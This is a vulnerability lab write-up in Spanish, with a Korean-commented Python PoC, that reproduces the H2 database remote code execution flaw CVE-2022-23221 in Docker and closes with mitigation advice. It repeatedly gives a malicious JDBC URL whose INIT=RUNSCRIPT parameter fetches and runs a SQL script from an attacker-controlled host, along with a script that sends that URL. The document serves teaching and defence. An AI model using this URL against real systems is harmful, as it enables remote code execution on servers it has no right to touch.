
vulhub/H2-database/CVE-2022-23221
# H2 Database RCE (CVE-2022-23221)
---
## 1. Resumen
- Referencia: https://nvd.nist.gov/vuln/detail/cve-2022-23221
- H2 es un sistema de gestión de bases de datos relacionales que ofrece la funcionalidad de compilar y ejecutar código Java directamente dentro del motor SQL.
- El controlador de H2 analiza la URL JDBC para establecer la conexión entre la aplicación y la base de datos. En este proceso, los parámetros de configuración incluidos en la URL permiten controlar el estado inicial o el comportamiento de la base de datos.
- Las versiones de H2 anteriores a la 2.1.210 presentan el problema de que es posible ejecutar scripts SQL remotos a través del parámetro INIT de la URL JDBC. Un atacante puede aprovechar esto para inyectar de forma remota un script SQL manipulado y, mediante las sentencias contenidas en su interior, ejecutar comandos del sistema, lo que provoca la vulnerabilidad CVE-2022-23221.
- Las características de esta vulnerabilidad son las siguientes.
1. No requiere autenticación: cualquiera que tenga permiso para introducir una URL JDBC puede aprovechar esta vulnerabilidad para tomar el control del sistema.
2. Ejecución automática al iniciar el servicio: si el atacante modifica únicamente el archivo de configuración, el RCE (ejecución remota de código) se produce automáticamente al iniciar el servicio que utiliza H2.
3. Ocultamiento: al desarrollador le resulta difícil percatarse del ataque.
4. Amplio alcance de daño: gracias a su rapidez y ligereza, H2 se utiliza para el desarrollo y las pruebas de diversos servicios web. Dado que cualquier entorno capaz de configurar una URL JDBC mediante un archivo de configuración o a partir de la entrada del usuario puede ser objetivo de un ataque que aproveche esta vulnerabilidad, su impacto es grande.
- Alcance del impacto de la vulnerabilidad
- Versiones afectadas: H2 anterior a 2.1.210
- Versión parcheada: H2 2.1.210 o superior
<br><br>
## 2. Condiciones de la vulnerabilidad
- Debe ser una versión de H2 anterior a la 2.1.210.
- La URL JDBC debe contener `IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker-ip/acttacker-file.sql’`.
1. `IGNORE_UNKNOWN_SETTINGS=TRUE`, `FORBID_CREATION=FALSE` -> omisión de la configuración de seguridad
- Como estos parámetros anulan la configuración de seguridad, el comando de ejecución de scripts remotos no se bloquea durante la inicialización y se ejecuta tal cual.
2. `INIT=RUNSCRIPT FROM 'http:/attacker-ip/acttacker-file.sql'` -> comando SQL que se ejecuta automáticamente al conectar la aplicación con la base de datos
- Si el valor del parámetro INIT contiene el comando SQL RUNSCRIPT y la dirección de un script malicioso, H2 se conecta a dicho servidor, descarga el archivo y lo ejecuta cuando se establece la conexión entre la aplicación y la base de datos H2.
- El script SQL descargado debe contener la sentencia SQL `CREATE ALIAS`.
- La sentencia `CREATE ALIAS` dentro del script que se ejecutará de forma remota hace que H2 ejecute la función Java contenida en el script dentro de la base de datos y, como resultado, se produce el RCE.
<br><br><br>
## 3. Configuración del entorno
- Escenario
- Se configura un entorno H2 vulnerable y se introduce una URL JDBC maliciosa en H2. H2 analiza esta URL sin la validación adecuada y recibe y ejecuta el archivo sql desde el servidor del atacante. Si en el registro del servidor h2-vulnerable se muestra la cadena "EXPLOITED" junto con los resultados de ejecución de los comandos `id`, `whoami` y `pwd`, esto significa que se ha configurado un entorno H2 vulnerable y que, en el proceso de análisis de la URL JDBC maliciosa por parte de H2, el archivo exploit.sql se ha descargado de forma remota desde el servidor externo del atacante y se ha ejecutado.
- Configuración del entorno
```bash
docker compose up -d
```

- Al ejecutar el comando, se inician los siguientes entornos.
- **h2-vulnerable**: H2 2.0.206 (versión vulnerable anterior al parche)
- Consola web de H2: `http://your-ip:8082`
- Servidor TCP: `tcp://your-ip:9092`
- **attacker**: servidor HTTP
- `http://your-ip:8000` : proporciona el archivo `exploit.sql`
- Tras configurar el entorno, si accedes a http://your-ip:8082 aparece la página web de H2.

<br><br><br>
## 4. Procedimiento de reproducción
: Dado que en la consola web se aplican políticas de seguridad y los parámetros que constituyen la condición de la vulnerabilidad pueden ser filtrados, se reproduce la vulnerabilidad introduciendo directamente a través de la CLI una URL JDBC que contenga parámetros maliciosos y se verifica el resultado.
### [Caso de solicitud normal]
- URL JDBC normal: "jdbc:h2:mem:test"
- Comando de solicitud normal
```bash
docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
-url "jdbc:h2:mem:test" \
-user sa \
-password ""
```
- Resultado de la ejecución

- No hay ninguna solicitud recibida en el servidor attacker
- No se imprime ningún registro relevante en el servidor h2-vulnerable
<br>
### [Caso de ataque de vulnerabilidad]
- URL JDBC maliciosa: "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'"
#### 1. Ejecución del ataque
- Se introduce una URL JDBC maliciosa en el driver H2 para intentar la conexión con el servidor attacker. En este caso, hay 2 formas de introducir la URL.
1. Introducir directamente la URL JDBC maliciosa en el H2 Shell a través de la CLI.
```bash
docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
-url "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'" \
-user sa \
-password ""
```

<br>
2. Ejecutar el archivo PoC.
```bash
python3 poc.py
```

#### 2. Solicitud y ejecución de archivos
- H2 solicita (HTTP GET) el archivo exploit.sql al servidor attacker según `INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'` especificado en el parámetro INIT de la URL JDBC y lo ejecuta dentro de la base de datos H2.
1. Al ejecutar `docker logs attacker` se puede ver el registro de la solicitud del archivo exploit.sql recibida desde el servidor h2-vulnerable.
```bash
docker logs attacker
```

2. El servidor attacker devuelve el archivo exploit.sql solicitado, y el servidor h2-vulnerable ejecuta el archivo exploit.sql recibido. En este momento, la sentencia CREATE ALIAS dentro del script induce la ejecución de código Java, provocando así un RCE.
<br><br><br>
## 5. Código de poc.py
```python
#!/usr/bin/env python3
# 목적: CVE-2022-23221 H2 Database RCE 상황을 재현하고자 함.
# 과정: 검증 우회 파라미터와 Java 명령어가 포함된 JDBC URL을 H2로 전송하여 원격 코드 실행 공격을 수행함.
import subprocess
import time
import sys
"""
함수 이름: exploit_h2()
기능: H2 DB에 악의적인 JDBC URL을 전달하여 공격을 수행한다.
반환값: True->공격 성공, False->공격 실패
"""
def exploit_h2():
# H2 서버 준비 대기
time.sleep(3)
# 검증 우회 파라미터가 포함된 JDBC URL
# IGNORE_UNKNOWN_SETTINGS=TRUE: H2의 입력 검증을 우회함
# FORBID_CREATION=FALSE: 원격 DB 생성에 대한 경계를 제거함
# INIT=RUNSCRIPT FROM: 연결(시작) 시 원격 SQL 스크립트를 실행함
jdbc_url = "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'"
try:
# H2 Shell을 통해서 악의적인 JDBC URL로 연결됨
cmd = [
'docker', 'exec', 'h2-vulnerable',
'java', '-cp', '/h2-bin/h2.jar',
'org.h2.tools.Shell',
'-url', jdbc_url,
'-user', 'sa',
'-password', ''
]
# Docker 명령어 실행 및 결과
result = subprocess.run(
cmd,
capture_output=True,
text=True,
timeout=15
)
return True
except Exception as e:
print(f"[-] 에러: {e}")
return False
"""
함수 이름: main()
기능: 공격 실행 및 공격 성공여부를 출력한다.
반환값: 없음
"""
def main():
if exploit_h2():
print("[+] 공격 완료")
else:
print("[-] 공격 실패")
sys.exit(1)
if __name__ == "__main__":
main()
```
<br><br>
## 6. Resultados de ejecución
- Como resultado de la ejecución del archivo exploit.sql, en el registro del servidor h2-vulnerable se imprime la cadena "EXPLOITED" junto con el resultado de ejecución de los comandos `id`, `whoami`, `pwd`.
- Se puede verificar el registro con `docker logs h2-vulnerable`.
```bash
docker logs h2-vulnerable`
```

=> Esto significa que se configuró un entorno h2 vulnerable y que, en el proceso en que H2 analiza la URL JDBC maliciosa, la descarga remota y ejecución de archivos tuvo éxito.
<br>
## 7. Medidas de mitigación
- Actualizar a la versión H2 2.1.210 o superior
- Contenido del parche: restricción de la funcionalidad de ejecución de scripts externos del parámetro INIT
- Fecha de lanzamiento: 2022-05-15
- Fortalecer la validación de los valores de entrada de la URL JDBC: bloquear entradas que contengan parámetros como INIT, RUNSCRIPT, etc., que provocan ejecución remota de código, y validar la entrada de la URL JDBC mediante un enfoque basado en listas blancas.
- Monitoreo de la integridad de la configuración y del entorno: cuando se modifiquen archivos de configuración, verificar si hubo manipulación y, posteriormente, someterlo a la aprobación del administrador.